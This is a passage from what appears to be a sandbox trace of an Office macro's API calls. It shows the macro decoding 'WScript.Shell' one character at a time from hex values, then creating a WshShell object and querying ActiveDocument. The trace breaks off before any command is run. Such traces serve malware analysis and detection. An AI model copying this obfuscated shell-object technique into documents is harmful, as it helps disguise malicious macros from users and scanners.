bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.022] VarBstrCat (in: bstrLeft="&H", bstrRight="93", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.022] VarParseNumFromStr (in: strIn="&H93", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.023] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a88, cchWideChar=1 | out: lpWideCharStr="W") returned 1 [0037.023] VarBstrCat (in: bstrLeft=0x0, bstrRight="W", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c53f8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.023] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.023] VarBstrCat (in: bstrLeft="&H", bstrRight="8F", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.023] VarParseNumFromStr (in: strIn="&H8F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.023] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0037.023] VarBstrCat (in: bstrLeft="W", bstrRight="S", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c53f8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.023] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.023] VarBstrCat (in: bstrLeft="&H", bstrRight="9F", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.024] VarParseNumFromStr (in: strIn="&H9F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.024] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c38, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0037.024] VarBstrCat (in: bstrLeft="WS", bstrRight="c", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c53f8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.024] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.024] VarBstrCat (in: bstrLeft="&H", bstrRight="AE", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.024] VarParseNumFromStr (in: strIn="&HAE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.024] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c38, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0037.024] VarBstrCat (in: bstrLeft="WSc", bstrRight="r", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c53f8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.024] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.024] VarBstrCat (in: bstrLeft="&H", bstrRight="A5", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.024] VarParseNumFromStr (in: strIn="&HA5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.024] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c38, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0037.025] VarBstrCat (in: bstrLeft="WScr", bstrRight="i", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c68, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c53f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.025] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.025] VarBstrCat (in: bstrLeft="&H", bstrRight="AC", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.025] VarParseNumFromStr (in: strIn="&HAC", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.025] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8ba8, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0037.025] VarBstrCat (in: bstrLeft="WScri", bstrRight="p", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c08, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c68, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.025] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.025] VarBstrCat (in: bstrLeft="&H", bstrRight="B0", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.025] VarParseNumFromStr (in: strIn="&HB0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.025] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0037.025] VarBstrCat (in: bstrLeft="WScrip", bstrRight="t", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c38, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c08, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.026] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] VarBstrCat (in: bstrLeft="&H", bstrRight="6A", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] VarParseNumFromStr (in: strIn="&H6A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.026] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a88, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0037.026] VarBstrCat (in: bstrLeft="WScript", bstrRight=".", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8ba8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8c38, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.026] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] VarBstrCat (in: bstrLeft="&H", bstrRight="8F", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] VarParseNumFromStr (in: strIn="&H8F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.026] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.026] VarBstrCat (in: bstrLeft="WScript.", bstrRight="S", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8ba8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.026] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] VarBstrCat (in: bstrLeft="&H", bstrRight="A4", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.026] VarParseNumFromStr (in: strIn="&HA4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.026] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.027] VarBstrCat (in: bstrLeft="WScript.S", bstrRight="h", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a88, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a58, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.027] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] VarBstrCat (in: bstrLeft="&H", bstrRight="A1", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] VarParseNumFromStr (in: strIn="&HA1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.027] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.027] VarBstrCat (in: bstrLeft="WScript.Sh", bstrRight="e", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c8a88, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.027] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.027] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.027] VarBstrCat (in: bstrLeft="WScript.She", bstrRight="l", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c53f8, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x266540, cbMultiByte=1, lpWideCharStr=0x81c89f8, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.027] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x2664b8, rgbDig=0x2664d0 | out: pnumprs=0x2664b8, rgbDig=0x2664d0) returned 0x0 [0037.027] VarNumFromParseNum (in: pnumprs=0x2664b8, rgbDig=0x2664d0, dwVtBits=0x8, pvar=0x266540 | out: pvar=0x266540) returned 0x0 [0037.027] VarBstrCat (in: bstrLeft="WScript.Shel", bstrRight="l", pbstrResult=0x266560 | out: pbstrResult=0x266560) returned 0x0 [0037.027] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x266690 | out: lpclsid=0x266690*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0037.032] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0037.032] CoCreateInstance (in: rclsid=0x266690*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7fee4077890*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x266538 | out: ppv=0x266538*=0x979a7b8) returned 0x0 [0037.454] WshShell:IUnknown:QueryInterface (in: This=0x979a7b8, riid=0x7fee4092600*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0x266550 | out: ppvObject=0x266550*=0x0) returned 0x80004002 [0037.454] WshShell:IUnknown:QueryInterface (in: This=0x979a7b8, riid=0x7fee4092610*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0x266558 | out: ppvObject=0x266558*=0x0) returned 0x80004002 [0037.454] WshShell:IUnknown:QueryInterface (in: This=0x979a7b8, riid=0x7fee40778b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x266578 | out: ppvObject=0x266578*=0x979a790) returned 0x0 [0037.454] WshShell:IUnknown:Release (This=0x979a7b8) returned 0x1 [0037.454] WshShell:IUnknown:AddRef (This=0x979a790) returned 0x2 [0037.454] WshShell:IUnknown:Release (This=0x979a790) returned 0x1 [0037.454] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ActiveDocument") returned 0x105cd3 [0037.454] strcpy_s (in: _Dst=0x264ba0, _DstSize=0xf, _Src="ActiveDocument" | out: _Dst="ActiveDocument") returned 0x0 [0037.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264ba0, cbMultiByte=15, lpWideCharStr=0x2649f0, cchWideChar=15 | out: lpWideCharStr="ActiveDocument") returned 15 [0037.454] IUnknown:AddRef (This=0x7f8b790) returned 0x10 [0037.454] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="ActiveDocument", lHashVal=0x105cd3, pfName=0x264ac0, pBstrLibName=0x2649f0 | out: pfName=0x264ac0*=0, pBstrLibName=0x2649f0) returned 0x0 [0037.454] IUnknown:Release (This=0x7f8b790) returned 0xf [0037.454] IUnknown:AddRef (This=0x7f887c0) returned 0x14 [0037.454] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="ActiveDocument", lHashVal=0x105cd3, pfName=0x264ac0, pBstrLibName=0x2649f0 | out: pfName=0x264ac0*=1, pBstrLibName=0x2649f0) returned 0x0 [0037.454] IUnknown:Release (This=0x7f887c0) returned 0x13 [0037.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ActiveDocument", cchWideChar=-1, lpMultiByteStr=0x264ba0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ActiveDocument", lpUsedDefaultChar=0x0) returned 15 [0037.454] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ActiveDocument") returned 0x105cd3 [0037.454] IUnknown:Release (This=0x8087de0) returned 0x3 [0037.454] IUnknown:Release (This=0x8087de0) returned 0x2 [0037.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232d9e, cbMultiByte=15, lpWideCharStr=0x264b20, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0037.454] ITypeComp:RemoteBind (in: This=0x8087de8, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x264ad8, pDescKind=0x264aec, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264ad8*=0x0, pDescKind=0x264aec*=0, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff33da, cbMultiByte=15, lpWideCharStr=0x264c80, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15 [0037.455] ITypeComp:RemoteBind (in: This=0x7f887d0, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x8087c28, pDescKind=0x264c4c*=4, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.455] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087c28, ppTypeAttr=0x264c40, pDummy=0x6 | out: ppTypeAttr=0x264c40, pDummy=0x6) returned 0x0 [0037.455] ITypeInfo:LocalReleaseTypeAttr (This=0x8087c28) returned 0x0 [0037.455] ITypeInfo:GetRefTypeInfo (in: This=0x8087c28, hreftype=0xbd80, ppTInfo=0x264728 | out: ppTInfo=0x264728*=0x8087c28) returned 0x0 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2648f8 | out: ppvObject=0x2648f8*=0x0) returned 0x80004002 [0037.455] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087c28, ppTypeAttr=0x264778, pDummy=0x10 | out: ppTypeAttr=0x264778, pDummy=0x10) returned 0x0 [0037.455] ITypeInfo:LocalReleaseTypeAttr (This=0x8087c28) returned 0x0 [0037.455] IMalloc:Realloc (This=0x7feff045380, pv=0x8228fd0, cb=0x20) returned 0x81c92c0 [0037.455] IMalloc:Realloc (This=0x7feff045380, pv=0x8229090, cb=0x28) returned 0x81c92f0 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264480 | out: ppvObject=0x264480*=0x0) returned 0x80004002 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264470 | out: ppvObject=0x264470*=0x0) returned 0x80004002 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264478 | out: ppvObject=0x264478*=0x0) returned 0x80004002 [0037.455] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087c28, ppTypeAttr=0x2644a8, pDummy=0x10 | out: ppTypeAttr=0x2644a8, pDummy=0x10) returned 0x0 [0037.455] ITypeInfo:LocalReleaseTypeAttr (This=0x8087c28) returned 0x0 [0037.455] IUnknown:AddRef (This=0x8087c28) returned 0x3 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264620 | out: ppvObject=0x264620*=0x0) returned 0x80004002 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264618 | out: ppvObject=0x264618*=0x0) returned 0x80004002 [0037.455] IUnknown:Release (This=0x8087c28) returned 0x2 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264b28 | out: ppvObject=0x264b28*=0x0) returned 0x80004002 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264a00 | out: ppvObject=0x264a00*=0x0) returned 0x80004002 [0037.455] IUnknown:Release (This=0x8087c28) returned 0x2 [0037.455] IUnknown:AddRef (This=0x8087c28) returned 0x3 [0037.455] ITypeInfo:LocalReleaseVarDesc (This=0x8087c28) returned 0x0 [0037.455] IUnknown:Release (This=0x8087c28) returned 0x2 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264d68 | out: ppvObject=0x264d68*=0x0) returned 0x80004002 [0037.455] IUnknown:AddRef (This=0x8087c28) returned 0x3 [0037.455] IMalloc:Realloc (This=0x7feff045380, pv=0x421b80, cb=0x800) returned 0x7cb6f20 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cf0 | out: ppvObject=0x264cf0*=0x0) returned 0x80004002 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cc0 | out: ppvObject=0x264cc0*=0x0) returned 0x80004002 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb0 | out: ppvObject=0x264cb0*=0x0) returned 0x80004002 [0037.455] IUnknown:QueryInterface (in: This=0x8087c28, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb8 | out: ppvObject=0x264cb8*=0x0) returned 0x80004002 [0037.456] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087c28, ppTypeAttr=0x264ce8, pDummy=0x10 | out: ppTypeAttr=0x264ce8, pDummy=0x10) returned 0x0 [0037.456] ITypeInfo:LocalReleaseTypeAttr (This=0x8087c28) returned 0x0 [0037.456] IUnknown:AddRef (This=0x8087c28) 